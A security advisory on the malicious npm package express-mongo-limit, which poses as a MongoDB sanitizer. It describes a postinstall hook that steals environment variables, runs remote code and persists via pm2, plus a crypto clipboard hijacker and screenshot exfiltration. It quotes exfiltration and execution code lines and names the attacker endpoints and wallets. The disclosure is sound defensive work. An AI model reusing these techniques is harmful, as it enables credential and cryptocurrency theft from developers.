express-mongo-limitnpm

The npm package express-mongo-limit masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting express-mongo-sanitize) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a postinstall: node index.js hook, so the payload executes automatically on install. The obfuscated config/auth.js (built with javascript-obfuscator) exfiltrates the victim's entire process.env via axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } }) to an attacker-controlled endpoint, and index.js fetches arbitrary JavaScript from a C2 server and executes it with new Function("require", response.data)(require), writing the payload to apiKeyResponse.js for persistence. Version 2.0.1 additionally ships service.js, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and app.js, which captures the desktop screen every 2 seconds and emails each screenshot to [email protected] via nodemailer/Gmail. It establishes persistence by globally installing pm2, clipboardy, and screenshot-desktop and registering service.js as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user jon_conway ([email protected]).

The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (node index.js) globally installs pm2, clipboardy, and screenshot-desktop, then runs pm2 start service.js, pm2 save, and pm2 startup to persist a background service across reboots on the installer's machine. The persisted service (service.js) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling app.js runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account ([email protected]); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. config/auth.js also exports a verify() helper that POSTs the entire process.env to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in .env), with an atob-based decoder used to hide the destinations. The package name and description mimic the widely-used express-mongo-sanitize while the README is an unrelated hello-world-package stub, indicating the metadata is a lure. Installation on a default npm install triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.